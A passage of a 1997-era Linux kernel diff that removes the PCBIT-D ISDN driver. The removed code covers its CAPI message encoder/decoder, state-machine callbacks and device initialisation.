MSG_CONN_ACTV_REQ, refnum, skb, len); -} - -/* - * CONN_ACK arrived - * start b-proto selection - * - */ - -void cb_in_3(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data) -{ - unsigned short refnum; - struct sk_buff *skb; - int len; - - if ((len = capi_select_proto_req(chan, &skb, 0 /*incoming*/)) < 0) - { - printk("capi_select_proto_req failed\n"); - return; - } - - refnum = last_ref_num++ & 0x7fffU; - chan->s_refnum = refnum; - - pcbit_l2_write(dev, MSG_SELP_REQ, refnum, skb, len); - -} - - -/* - * Received disconnect ind on active state - * send disconnect resp - * send msg to user - */ -void cb_disc_1(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data) -{ - struct sk_buff *skb; - int len; - ushort refnum; - isdn_ctrl ictl; - - if ((len = capi_disc_resp(chan, &skb)) < 0) { - printk("capi_disc_resp failed\n"); - return; - } - - refnum = last_ref_num++ & 0x7fffU; - chan->s_refnum = refnum; - - pcbit_l2_write(dev, MSG_DISC_RESP, refnum, skb, len); - - ictl.command = ISDN_STAT_BHUP; - ictl.driver=dev->id; - ictl.arg=chan->id; - dev->dev_if->statcallb(&ictl); -} - - -/* - * User HANGUP on active/call proceeding state - * send disc.req - */ -void cb_disc_2(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data) -{ - struct sk_buff *skb; - int len; - ushort refnum; - - if ((len = capi_disc_req(chan->callref, &skb, CAUSE_NORMAL)) < 0) - { - printk("capi_disc_req failed\n"); - return; - } - - refnum = last_ref_num++ & 0x7fffU; - chan->s_refnum = refnum; - - pcbit_l2_write(dev, MSG_DISC_REQ, refnum, skb, len); -} - -/* - * Disc confirm received send BHUP - * Problem: when the HL driver sends the disc req itself - * LL receives BHUP - */ -void cb_disc_3(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data) -{ - isdn_ctrl ictl; - - ictl.command = ISDN_STAT_BHUP; - ictl.driver=dev->id; - ictl.arg=chan->id; - dev->dev_if->statcallb(&ictl); -} - -void cb_notdone(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data) -{ -} - -/* - * send activate b-chan protocol - */ -void cb_selp_1(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data) -{ - struct sk_buff *skb; - int len; - ushort refnum; - - if ((len = capi_activate_transp_req(chan, &skb)) < 0) - { - printk("capi_conn_activate_transp_req failed\n"); - return; - } - - refnum = last_ref_num++ & 0x7fffU; - chan->s_refnum = refnum; - - pcbit_l2_write(dev, MSG_ACT_TRANSP_REQ, refnum, skb, len); -} - -/* - * Inform User that the B-channel is available - */ -void cb_open(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data) -{ - isdn_ctrl ictl; - - ictl.command = ISDN_STAT_BCONN; - ictl.driver=dev->id; - ictl.arg=chan->id; - dev->dev_if->statcallb(&ictl); -} - - - diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/callbacks.h linux/drivers/isdn/pcbit/callbacks.h --- linux-2.1.29/drivers/isdn/pcbit/callbacks.h Tue Apr 23 05:31:35 1996 +++ linux/drivers/isdn/pcbit/callbacks.h Wed Dec 31 19:00:00 1969 @@ -1,52 +0,0 @@ -/* - * Copyright (C) 1996 Universidade de Lisboa - * - * Written by Pedro Roque Marques (roque@di.fc.ul.pt) - * - * This software may be used and distributed according to the terms of - * the GNU Public License, incorporated herein by reference. - */ - -/* - * Callbacks prototypes for FSM - * - */ - -#ifndef CALLBACKS_H -#define CALLBACKS_H - - -extern void cb_out_1(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); - -extern void cb_out_2(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); - -extern void cb_out_3(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); - -extern void cb_in_1(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); -extern void cb_in_2(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); -extern void cb_in_3(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); - -extern void cb_disc_1(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); -extern void cb_disc_2(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); -extern void cb_disc_3(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); - -extern void cb_notdone(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); - -extern void cb_selp_1(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); -extern void cb_open(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data); - -#endif - - diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/capi.c linux/drivers/isdn/pcbit/capi.c --- linux-2.1.29/drivers/isdn/pcbit/capi.c Sat May 10 18:17:37 1997 +++ linux/drivers/isdn/pcbit/capi.c Wed Dec 31 19:00:00 1969 @@ -1,679 +0,0 @@ -/* - * Copyright (C) 1996 Universidade de Lisboa - * - * Written by Pedro Roque Marques (roque@di.fc.ul.pt) - * - * This software may be used and distributed according to the terms of - * the GNU Public License, incorporated herein by reference. - */ - -/* - * CAPI encoder/decoder for - * Portugal Telecom CAPI 2.0 - * - * Not compatible with the AVM Gmbh. CAPI 2.0 - */ - -/* - * Documentation: - * - "Common ISDN API - Perfil Portugus - Verso 2.1", - * Telecom Portugal, Fev 1992. - * - "Common ISDN API - Especificao de protocolos para - * acesso aos canais B", Inesc, Jan 1994. - */ - -/* - * TODO: better decoding of Information Elements - * for debug purposes mainly - * encode our number in CallerPN and ConnectedPN - */ - -#define __NO_VERSION__ - -#include - -#include -#include -#include - -#include -#include -#include - -#include -#include - -#include -#include - -#include - -#include "pcbit.h" -#include "edss1.h" -#include "capi.h" - - -/* - * Encoding of CAPI messages - * - */ - -int capi_conn_req(const char * calledPN, struct sk_buff **skb, int proto) -{ - ushort len; - - /* - * length - * AppInfoMask - 2 - * BC0 - 3 - * BC1 - 1 - * Chan - 2 - * Keypad - 1 - * CPN - 1 - * CPSA - 1 - * CalledPN - 2 + strlen - * CalledPSA - 1 - * rest... - 4 - * ---------------- - * Total 18 + strlen - */ - - len = 18 + strlen(calledPN); - - if (proto == ISDN_PROTO_L2_TRANS) - len++; - - if ((*skb = dev_alloc_skb(len)) == NULL) { - - printk(KERN_WARNING "capi_conn_req: alloc_skb failed\n"); - return -1; - } - - /* InfoElmMask */ - *((ushort*) skb_put(*skb, 2)) = AppInfoMask; - - if (proto == ISDN_PROTO_L2_TRANS) - { - /* Bearer Capability - Mandatory*/ - *(skb_put(*skb, 1)) = 3; /* BC0.Length */ - *(skb_put(*skb, 1)) = 0x80; /* Speech */ - *(skb_put(*skb, 1)) = 0x10; /* Circuit Mode */ - *(skb_put(*skb, 1)) = 0x23; /* A-law */ - } - else - { - /* Bearer Capability - Mandatory*/ - *(skb_put(*skb, 1)) = 2; /* BC0.Length */ - *(skb_put(*skb, 1)) = 0x88; /* Digital Information */ - *(skb_put(*skb, 1)) = 0x90; /* BC0.Octect4 */ - } - - /* Bearer Capability - Optional*/ - *(skb_put(*skb, 1)) = 0; /* BC1.Length = 0 */ - - *(skb_put(*skb, 1)) = 1; /* ChannelID.Length = 1 */ - *(skb_put(*skb, 1)) = 0x83; /* Basic Interface - Any Channel */ - - *(skb_put(*skb, 1)) = 0; /* Keypad.Length = 0 */ - - - *(skb_put(*skb, 1)) = 0; /* CallingPN.Length = 0 */ - *(skb_put(*skb, 1)) = 0; /* CallingPSA.Length = 0 */ - - /* Called Party Number */ - *(skb_put(*skb, 1)) = strlen(calledPN) + 1; - *(skb_put(*skb, 1)) = 0x81; - memcpy(skb_put(*skb, strlen(calledPN)), calledPN, strlen(calledPN)); - - /* '#' */ - - *(skb_put(*skb, 1)) = 0; /* CalledPSA.Length = 0 */ - - /* LLC.Length = 0; */ - /* HLC0.Length = 0; */ - /* HLC1.Length = 0; */ - /* UTUS.Length = 0; */ - memset(skb_put(*skb, 4), 0, 4); - - return len; -} - -int capi_conn_resp(struct pcbit_chan* chan, struct sk_buff **skb) -{ - - if ((*skb = dev_alloc_skb(5)) == NULL) { - - printk(KERN_WARNING "capi_conn_resp: alloc_skb failed\n"); - return -1; - } - - SET_SKB_FREE((*skb)); - - - *((ushort*) skb_put(*skb, 2) ) = chan->callref; - *(skb_put(*skb, 1)) = 0x01; /* ACCEPT_CALL */ - *(skb_put(*skb, 1)) = 0; - *(skb_put(*skb, 1)) = 0; - - return 5; -} - -int capi_conn_active_req(struct pcbit_chan* chan, struct sk_buff **skb) -{ - /* - * 8 bytes - */ - - if ((*skb = dev_alloc_skb(8)) == NULL) { - - printk(KERN_WARNING "capi_conn_active_req: alloc_skb failed\n"); - return -1; - } - - SET_SKB_FREE((*skb)); - - *((ushort*) skb_put(*skb, 2) ) = chan->callref; - -#ifdef DEBUG - printk(KERN_DEBUG "Call Reference: %04x\n", chan->callref); -#endif - - *(skb_put(*skb, 1)) = 0; /* BC.Length = 0; */ - *(skb_put(*skb, 1)) = 0; /* ConnectedPN.Length = 0 */ - *(skb_put(*skb, 1)) = 0; /* PSA.Length */ - *(skb_put(*skb, 1)) = 0; /* LLC.Length = 0; */ - *(skb_put(*skb, 1)) = 0; /* HLC.Length = 0; */ - *(skb_put(*skb, 1)) = 0; /* UTUS.Length = 0; */ - - return 8; -} - -int capi_conn_active_resp(struct pcbit_chan* chan, struct sk_buff **skb) -{ - /* - * 2 bytes - */ - - if ((*skb = dev_alloc_skb(2)) == NULL) { - - printk(KERN_WARNING "capi_conn_active_resp: alloc_skb failed\n"); - return -1; - } - - SET_SKB_FREE((*skb)); - - *((ushort*) skb_put(*skb, 2) ) = chan->callref; - - return 2; -} - - -int capi_select_proto_req(struct pcbit_chan *chan, struct sk_buff **skb, - int outgoing) -{ - - /* - * 18 bytes - */ - - if ((*skb = dev_alloc_skb(18)) == NULL) { - - printk(KERN_WARNING "capi_select_proto_req: alloc_skb failed\n"); - return -1; - } - - SET_SKB_FREE((*skb)); - - *((ushort*) skb_put(*skb, 2) ) = chan->callref; - - /* Layer2 protocol */ - - switch (chan->proto) { - case ISDN_PROTO_L2_X75I: - *(skb_put(*skb, 1)) = 0x05; /* LAPB */ - break; - case ISDN_PROTO_L2_HDLC: - *(skb_put(*skb, 1)) = 0x02; - break; - case ISDN_PROTO_L2_TRANS: - /* - * Voice (a-law) - */ - *(skb_put(*skb, 1)) = 0x06; - break; - default: -#ifdef DEBUG - printk(KERN_DEBUG "Transparent\n"); -#endif - *(skb_put(*skb, 1)) = 0x03; - break; - } - - *(skb_put(*skb, 1)) = (outgoing ? 0x02 : 0x42); /* Don't ask */ - *(skb_put(*skb, 1)) = 0x00; - - *((ushort *) skb_put(*skb, 2)) = MRU; - - - *(skb_put(*skb, 1)) = 0x08; /* Modulo */ - *(skb_put(*skb, 1)) = 0x07; /* Max Window */ - - *(skb_put(*skb, 1)) = 0x01; /* No Layer3 Protocol */ - - /* - * 2 - layer3 MTU [10] - * - Modulo [12] - * - Window - * - layer1 proto [14] - * - bitrate - * - sub-channel [16] - * - layer1dataformat [17] - */ - - memset(skb_put(*skb, 8), 0, 8); - - return 18; -} - - -int capi_activate_transp_req(struct pcbit_chan *chan, struct sk_buff **skb) -{ - - if ((*skb = dev_alloc_skb(7)) == NULL) { - - printk(KERN_WARNING "capi_activate_transp_req: alloc_skb failed\n"); - return -1; - } - - SET_SKB_FREE((*skb)); - - *((ushort*) skb_put(*skb, 2) ) = chan->callref; - - - *(skb_put(*skb, 1)) = chan->layer2link; /* Layer2 id */ - *(skb_put(*skb, 1)) = 0x00; /* Transmit by default */ - - *((ushort *) skb_put(*skb, 2)) = MRU; - - *(skb_put(*skb, 1)) = 0x01; /* Enables reception*/ - - return 7; -} - -int capi_tdata_req(struct pcbit_chan* chan, struct sk_buff *skb) -{ - ushort data_len; - - - /* - * callref - 2 - * layer2link - 1 - * wBlockLength - 2 - * data - 4 - * sernum - 1 - */ - - data_len = skb->len; - - skb_push(skb, 10); - - *((u16 *) (skb->data)) = chan->callref; - skb->data[2] = chan->layer2link; - *((u16 *) (skb->data + 3)) = data_len; - - chan->s_refnum = (chan->s_refnum + 1) % 8; - *((u32 *) (skb->data + 5)) = chan->s_refnum; - - skb->data[9] = 0; /* HDLC frame number */ - - return 10; -} - -int capi_tdata_resp(struct pcbit_chan *chan, struct sk_buff ** skb) - -{ - if ((*skb = dev_alloc_skb(4)) == NULL) { - - printk(KERN_WARNING "capi_tdata_resp: alloc_skb failed\n"); - return -1; - } - - SET_SKB_FREE((*skb)); - - *((ushort*) skb_put(*skb, 2) ) = chan->callref; - - *(skb_put(*skb, 1)) = chan->layer2link; - *(skb_put(*skb, 1)) = chan->r_refnum; - - return (*skb)->len; -} - -int capi_disc_req(ushort callref, struct sk_buff **skb, u_char cause) -{ - - if ((*skb = dev_alloc_skb(6)) == NULL) { - - printk(KERN_WARNING "capi_disc_req: alloc_skb failed\n"); - return -1; - } - - SET_SKB_FREE((*skb)); - - *((ushort*) skb_put(*skb, 2) ) = callref; - - *(skb_put(*skb, 1)) = 2; /* Cause.Length = 2; */ - *(skb_put(*skb, 1)) = 0x80; - *(skb_put(*skb, 1)) = 0x80 | cause; - - /* - * Change it: we should send 'Sic transit gloria Mundi' here ;-) - */ - - *(skb_put(*skb, 1)) = 0; /* UTUS.Length = 0; */ - - return 6; -} - -int capi_disc_resp(struct pcbit_chan *chan, struct sk_buff **skb) -{ - if ((*skb = dev_alloc_skb(2)) == NULL) { - - printk(KERN_WARNING "capi_disc_resp: alloc_skb failed\n"); - return -1; - } - - SET_SKB_FREE((*skb)); - - *((ushort*) skb_put(*skb, 2)) = chan->callref; - - return 2; -} - - -/* - * Decoding of CAPI messages - * - */ - -int capi_decode_conn_ind(struct pcbit_chan * chan, - struct sk_buff *skb, - struct callb_data *info) -{ - int CIlen, len; - - /* Call Reference [CAPI] */ - chan->callref = *((ushort*) skb->data); - skb_pull(skb, 2); - -#ifdef DEBUG - printk(KERN_DEBUG "Call Reference: %04x\n", chan->callref); -#endif - - /* Channel Identification */ - - /* Expect - Len = 1 - Octect 3 = 0100 10CC - [ 7 Basic, 4 , 2-1 chan ] - */ - - CIlen = skb->data[0]; -#ifdef DEBUG - if (CIlen == 1) { - - if ( ((skb->data[1]) & 0xFC) == 0x48 ) - printk(KERN_DEBUG "decode_conn_ind: chan ok\n"); - printk(KERN_DEBUG "phyChan = %d\n", skb->data[1] & 0x03); - } - else - printk(KERN_DEBUG "conn_ind: CIlen = %d\n", CIlen); -#endif - skb_pull(skb, CIlen + 1); - - /* Calling Party Number */ - /* An "additional service" as far as Portugal Telecom is concerned */ - - len = skb->data[0]; - - if (len > 0) { - int count = 1; - -#ifdef DEBUG - printk(KERN_DEBUG "CPN: Octect 3 %02x\n", skb->data[1]); -#endif - if ((skb->data[1] & 0x80) == 0) - count = 2; - - if (!(info->data.setup.CallingPN = kmalloc(len - count + 1, GFP_ATOMIC))) - return -1; - - memcpy(info->data.setup.CallingPN, skb->data + count + 1, - len - count); - info->data.setup.CallingPN[len - count] = 0; - - } - else { - info->data.setup.CallingPN = NULL; - printk(KERN_DEBUG "NULL CallingPN\n"); - } - - skb_pull(skb, len + 1); - - /* Calling Party Subaddress */ - skb_pull(skb, skb->data[0] + 1); - - /* Called Party Number */ - - len = skb->data[0]; - - if (len > 0) { - int count = 1; - - if ((skb->data[1] & 0x80) == 0) - count = 2; - - if (!(info->data.setup.CalledPN = kmalloc(len - count + 1, GFP_ATOMIC))) - return -1; - - memcpy(info->data.setup.CalledPN, skb->data + count + 1, - len - count); - info->data.setup.CalledPN[len - count] = 0; - - } - else { - info->data.setup.CalledPN = NULL; - printk(KERN_DEBUG "NULL CalledPN\n"); - } - - skb_pull(skb, len + 1); - - /* Called Party Subaddress */ - skb_pull(skb, skb->data[0] + 1); - - /* LLC */ - skb_pull(skb, skb->data[0] + 1); - - /* HLC */ - skb_pull(skb, skb->data[0] + 1); - - /* U2U */ - skb_pull(skb, skb->data[0] + 1); - - return 0; -} - -/* - * returns errcode - */ - -int capi_decode_conn_conf(struct pcbit_chan * chan, struct sk_buff *skb, - int *complete) -{ - int errcode; - - chan->callref = *((ushort *) skb->data); /* Update CallReference */ - skb_pull(skb, 2); - - errcode = *((ushort *) skb->data); /* read errcode */ - skb_pull(skb, 2); - - *complete = *(skb->data); - skb_pull(skb, 1); - - /* FIX ME */ - /* This is actually a firmware bug */ - if (!*complete) - { - printk(KERN_DEBUG "complete=%02x\n", *complete); - *complete = 1; - } - - - /* Optional Bearer Capability */ - skb_pull(skb, *(skb->data) + 1); - - /* Channel Identification */ - skb_pull(skb, *(skb->data) + 1); - - /* High Layer Compatibility follows */ - skb_pull(skb, *(skb->data) + 1); - - return errcode; -} - -int capi_decode_conn_actv_ind(struct pcbit_chan * chan, struct sk_buff *skb) -{ - ushort len; -#ifdef DEBUG - char str[32]; -#endif - - /* Yet Another Bearer Capability */ - skb_pull(skb, *(skb->data) + 1); - - - /* Connected Party Number */ - len=*(skb->data); - -#ifdef DEBUG - if (len > 1 && len < 31) { - memcpy(str, skb->data + 2, len - 1); - str[len] = 0; - printk(KERN_DEBUG "Connected Party Number: %s\n", str); - } - else - printk(KERN_DEBUG "actv_ind CPN len = %d\n", len); -#endif - - skb_pull(skb, len + 1); - - /* Connected Subaddress */ - skb_pull(skb, *(skb->data) + 1); - - /* Low Layer Capability */ - skb_pull(skb, *(skb->data) + 1); - - /* High Layer Capability */ - skb_pull(skb, *(skb->data) + 1); - - return 0; -} - -int capi_decode_conn_actv_conf(struct pcbit_chan * chan, struct sk_buff *skb) -{ - ushort errcode; - - errcode = *((ushort*) skb->data); - skb_pull(skb, 2); - - /* Channel Identification - skb_pull(skb, skb->data[0] + 1); - */ - return errcode; -} - - -int capi_decode_sel_proto_conf(struct pcbit_chan *chan, struct sk_buff *skb) -{ - ushort errcode; - - chan->layer2link = *(skb->data); - skb_pull(skb, 1); - - errcode = *((ushort*) skb->data); - skb_pull(skb, 2); - - return errcode; -} - -int capi_decode_actv_trans_conf(struct pcbit_chan *chan, struct sk_buff *skb) -{ - ushort errcode; - - if (chan->layer2link != *(skb->data) ) - printk("capi_decode_actv_trans_conf: layer2link doesn't match\n"); - - skb_pull(skb, 1); - - errcode = *((ushort*) skb->data); - skb_pull(skb, 2); - - return errcode; -} - -int capi_decode_disc_ind(struct pcbit_chan *chan, struct sk_buff *skb) -{ - ushort len; -#ifdef DEBUG - int i; -#endif - /* Cause */ - - len = *(skb->data); - skb_pull(skb, 1); - -#ifdef DEBUG - - for (i=0; idata + i)); -#endif - - skb_pull(skb, len); - - return 0; -} - -int capi_decode_disc_conf(struct pcbit_chan *chan, struct sk_buff *skb) -{ - ushort errcode; - - errcode = *((ushort*) skb->data); - skb_pull(skb, 2); - - return errcode; -} - -#ifdef DEBUG -int capi_decode_debug_188(u_char *hdr, ushort hdrlen) -{ - char str[64]; - int len; - - len = hdr[0]; - - if (len < 64 && len == hdrlen - 1) { - memcpy(str, hdr + 1, hdrlen - 1); - str[hdrlen - 1] = 0; - printk("%s\n", str); - } - else - printk("debug message incorrect\n"); - - return 0; -} -#endif - - - - - diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/capi.h linux/drivers/isdn/pcbit/capi.h --- linux-2.1.29/drivers/isdn/pcbit/capi.h Sat Jun 29 13:36:22 1996 +++ linux/drivers/isdn/pcbit/capi.h Wed Dec 31 19:00:00 1969 @@ -1,91 +0,0 @@ -/* - * Copyright (C) 1996 Universidade de Lisboa - * - * Written by Pedro Roque Marques (roque@di.fc.ul.pt) - * - * This software may be used and distributed according to the terms of - * the GNU Public License, incorporated herein by reference. - */ - -/* - * CAPI encode/decode prototypes and defines - */ - -#ifndef CAPI_H -#define CAPI_H - - -#define REQ_CAUSE 0x01 -#define REQ_DISPLAY 0x04 -#define REQ_USER_TO_USER 0x08 - -#define AppInfoMask REQ_CAUSE|REQ_DISPLAY|REQ_USER_TO_USER - -/* Connection Setup */ -extern int capi_conn_req(const char * calledPN, struct sk_buff **buf, - int proto); -extern int capi_decode_conn_conf(struct pcbit_chan * chan, struct sk_buff *skb, - int *complete); - -extern int capi_decode_conn_ind(struct pcbit_chan * chan, struct sk_buff *skb, - struct callb_data *info); -extern int capi_conn_resp(struct pcbit_chan* chan, struct sk_buff **skb); - -extern int capi_conn_active_req(struct pcbit_chan* chan, struct sk_buff **skb); -extern int capi_decode_conn_actv_conf(struct pcbit_chan * chan, - struct sk_buff *skb); - -extern int capi_decode_conn_actv_ind(struct pcbit_chan * chan, - struct sk_buff *skb); -extern int capi_conn_active_resp(struct pcbit_chan* chan, - struct sk_buff **skb); - -/* Data */ -extern int capi_select_proto_req(struct pcbit_chan *chan, struct sk_buff **skb, - int outgoing); -extern int capi_decode_sel_proto_conf(struct pcbit_chan *chan, - struct sk_buff *skb); - -extern int capi_activate_transp_req(struct pcbit_chan *chan, - struct sk_buff **skb); -extern int capi_decode_actv_trans_conf(struct pcbit_chan *chan, - struct sk_buff *skb); - -extern int capi_tdata_req(struct pcbit_chan* chan, struct sk_buff *skb); -extern int capi_tdata_resp(struct pcbit_chan *chan, struct sk_buff ** skb); - -/* Connection Termination */ -extern int capi_disc_req(ushort callref, struct sk_buff **skb, u_char cause); -extern int capi_decode_disc_conf(struct pcbit_chan *chan, struct sk_buff *skb); - -extern int capi_decode_disc_ind(struct pcbit_chan *chan, struct sk_buff *skb); -extern int capi_disc_resp(struct pcbit_chan *chan, struct sk_buff **skb); - -#ifdef DEBUG -extern int capi_decode_debug_188(u_char *hdr, ushort hdrlen); -#endif - -extern __inline__ -struct pcbit_chan * -capi_channel(struct pcbit_dev *dev, struct sk_buff *skb) -{ - ushort callref; - - callref = *((ushort*) skb->data); - skb_pull(skb, 2); - - if (dev->b1->callref == callref) - return dev->b1; - else if (dev->b2->callref == callref) - return dev->b2; - - return NULL; -} - -#endif - - - - - - diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/drv.c linux/drivers/isdn/pcbit/drv.c --- linux-2.1.29/drivers/isdn/pcbit/drv.c Sat May 10 18:17:37 1997 +++ linux/drivers/isdn/pcbit/drv.c Wed Dec 31 19:00:00 1969 @@ -1,1137 +0,0 @@ -/* - * Copyright (C) 1996 Universidade de Lisboa - * - * Written by Pedro Roque Marques (roque@di.fc.ul.pt) - * - * This software may be used and distributed according to the terms of - * the GNU Public License, incorporated herein by reference. - */ - -/* - * PCBIT-D interface with isdn4linux - */ - -/* - * Fixes: - * - * Nuno Grilo - * fixed msn_list NULL pointer dereference. - * - */ - -#define __NO_VERSION__ - -#include - -#include - -#include - -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -#include "pcbit.h" -#include "edss1.h" -#include "layer2.h" -#include "capi.h" - - -extern ushort last_ref_num; - -static int pcbit_ioctl(isdn_ctrl* ctl); - -static char* pcbit_devname[MAX_PCBIT_CARDS] = { - "pcbit0", - "pcbit1", - "pcbit2", - "pcbit3" -}; - -/* - * prototypes - */ - -int pcbit_command(isdn_ctrl* ctl); -int pcbit_stat(u_char* buf, int len, int user, int, int); -int pcbit_xmit(int driver, int chan, struct sk_buff *skb); -int pcbit_writecmd(const u_char*, int, int, int, int); - -static int set_protocol_running(struct pcbit_dev * dev); - -static void pcbit_clear_msn(struct pcbit_dev *dev); -static void pcbit_set_msn(struct pcbit_dev *dev, char *list); -static int pcbit_check_msn(struct pcbit_dev *dev, char *msn); - - -extern void pcbit_deliver(void * data); - -int pcbit_init_dev(int board, int mem_base, int irq) -{ - struct pcbit_dev *dev; - isdn_if *dev_if; - - if ((dev=kmalloc(sizeof(struct pcbit_dev), GFP_KERNEL)) == NULL) - { - printk("pcbit_init: couldn't malloc pcbit_dev struct\n"); - return -ENOMEM; - } - - dev_pcbit[board] = dev; - memset(dev, 0, sizeof(struct pcbit_dev)); - - if (mem_base >= 0xA0000 && mem_base <= 0xFFFFF ) - dev->sh_mem = (unsigned char*) mem_base; - else - { - printk("memory address invalid"); - kfree(dev); - dev_pcbit[board] = NULL; - return -EACCES; - } - - dev->b1 = kmalloc(sizeof(struct pcbit_chan), GFP_KERNEL); - if (!dev->b1) { - printk("pcbit_init: couldn't malloc pcbit_chan struct\n"); - kfree(dev); - return -ENOMEM; - } - - dev->b2 = kmalloc(sizeof(struct pcbit_chan), GFP_KERNEL); - if (!dev->b2) { - printk("pcbit_init: couldn't malloc pcbit_chan struct\n"); - kfree(dev->b1); - kfree(dev); - return -ENOMEM; - } - - memset(dev->b1, 0, sizeof(struct pcbit_chan)); - memset(dev->b2, 0, sizeof(struct pcbit_chan)); - dev->b2->id = 1; - - - dev->qdelivery.next = NULL; - dev->qdelivery.sync = 0; - dev->qdelivery.routine = pcbit_deliver; - dev->qdelivery.data = dev; - - /* - * interrupts - */ - - if (request_irq(irq, &pcbit_irq_handler, 0, pcbit_devname[board], dev) != 0) - { - kfree(dev->b1); - kfree(dev->b2); - kfree(dev); - dev_pcbit[board] = NULL; - return -EIO; - } - - dev->irq = irq; - - /* next frame to be received */ - dev->rcv_seq = 0; - dev->send_seq = 0; - dev->unack_seq = 0; - - dev->hl_hdrlen = 10; - - dev_if = kmalloc(sizeof(isdn_if), GFP_KERNEL); - - if (!dev_if) { - free_irq(irq, dev); - kfree(dev->b1); - kfree(dev->b2); - kfree(dev); - dev_pcbit[board] = NULL; - return -EIO; - } - - dev->dev_if = dev_if; - - dev_if->channels = 2; - - - dev_if->features = (ISDN_FEATURE_P_EURO | ISDN_FEATURE_L3_TRANS | - ISDN_FEATURE_L2_HDLC | ISDN_FEATURE_L2_TRANS ); - - dev_if->writebuf_skb = pcbit_xmit; - dev_if->writebuf = NULL; - dev_if->hl_hdrlen = 10; - - dev_if->maxbufsize = MAXBUFSIZE; - dev_if->command = pcbit_command; - - dev_if->writecmd = pcbit_writecmd; - dev_if->readstat = pcbit_stat; - - - strcpy(dev_if->id, pcbit_devname[board]); - - if (!register_isdn(dev_if)) { - free_irq(irq, dev); - kfree(dev->b1); - kfree(dev->b2); - kfree(dev); - dev_pcbit[board] = NULL; - return -EIO; - } - - dev->id = dev_if->channels; - - - dev->l2_state = L2_DOWN; - dev->free = 511; - - /* - * set_protocol_running(dev); - */ - - return 0; -} - -#ifdef MODULE -void pcbit_terminate(int board) -{ - struct pcbit_dev * dev; - - dev = dev_pcbit[board]; - - if (dev) { - /* unregister_isdn(dev->dev_if); */ - free_irq(dev->irq, dev); - pcbit_clear_msn(dev); - kfree(dev->dev_if); - if (dev->b1->fsm_timer.function) - del_timer(&dev->b1->fsm_timer); - if (dev->b2->fsm_timer.function) - del_timer(&dev->b2->fsm_timer); - kfree(dev->b1); - kfree(dev->b2); - kfree(dev); - } -} -#endif - -int pcbit_command(isdn_ctrl* ctl) -{ - struct pcbit_dev *dev; - struct pcbit_chan *chan; - struct callb_data info; - - dev = finddev(ctl->driver); - - if (!dev) - { - printk("pcbit_command: unknown device\n"); - return -1; - } - - chan = (ctl->arg & 0x0F) ? dev->b2 : dev->b1; - - - switch(ctl->command) { - case ISDN_CMD_IOCTL: - return pcbit_ioctl(ctl); - break; - case ISDN_CMD_DIAL: - info.type = EV_USR_SETUP_REQ; - info.data.setup.CalledPN = (char *) &ctl->parm.setup.phone; - pcbit_fsm_event(dev, chan, EV_USR_SETUP_REQ, &info); - break; - case ISDN_CMD_ACCEPTD: - pcbit_fsm_event(dev, chan, EV_USR_SETUP_RESP, NULL); - break; - case ISDN_CMD_ACCEPTB: - printk("ISDN_CMD_ACCEPTB - not really needed\n"); - break; - case ISDN_CMD_HANGUP: - pcbit_fsm_event(dev, chan, EV_USR_RELEASE_REQ, NULL); - break; - case ISDN_CMD_SETL2: - chan->proto = (ctl->arg >> 8); - break; - case ISDN_CMD_GETL2: - return chan->proto; - break; - case ISDN_CMD_LOCK: - MOD_INC_USE_COUNT; - break; - case ISDN_CMD_UNLOCK: - MOD_DEC_USE_COUNT; - break; - case ISDN_CMD_CLREAZ: - pcbit_clear_msn(dev); - break; - case ISDN_CMD_SETEAZ: - pcbit_set_msn(dev, ctl->parm.num); - break; - case ISDN_CMD_SETL3: - if ((ctl->arg >> 8) != ISDN_PROTO_L3_TRANS) - printk(KERN_DEBUG "L3 protocol unknown\n"); - break; - case ISDN_CMD_GETL3: - return ISDN_PROTO_L3_TRANS; - break; - case ISDN_CMD_GETEAZ: - case ISDN_CMD_SETSIL: - case ISDN_CMD_GETSIL: - printk(KERN_DEBUG "pcbit_command: code %d not implemented yet\n", ctl->command); - break; - default: - printk(KERN_DEBUG "pcbit_command: unknown command\n"); - break; - }; - - return 0; -} - -/* - * Another Hack :-( - * on some conditions the board stops sending TDATA_CONFs - * let's see if we can turn around the problem - */ - -#ifdef BLOCK_TIMER -static void pcbit_block_timer(unsigned long data) -{ - struct pcbit_chan *chan; - struct pcbit_dev * dev; - isdn_ctrl ictl; - - chan = (struct pcbit_chan *) data; - - dev = chan2dev(chan); - - if (dev == NULL) { - printk(KERN_DEBUG "pcbit: chan2dev failed\n"); - return; - } - - del_timer(&chan->block_timer); - chan->block_timer.function = NULL; - -#ifdef DEBUG - printk(KERN_DEBUG "pcbit_block_timer\n"); -#endif - chan->queued = 0; - ictl.driver = dev->id; - ictl.command = ISDN_STAT_BSENT; - ictl.arg = chan->id; - dev->dev_if->statcallb(&ictl); -} -#endif - -int pcbit_xmit(int driver, int chnum, struct sk_buff *skb) -{ - ushort hdrlen; - int refnum, len; - struct pcbit_chan * chan; - struct pcbit_dev *dev; - - dev = finddev(driver); - if (dev == NULL) - { - printk("finddev returned NULL"); - return -1; - } - - chan = chnum ? dev->b2 : dev->b1; - - - if (chan->fsm_state != 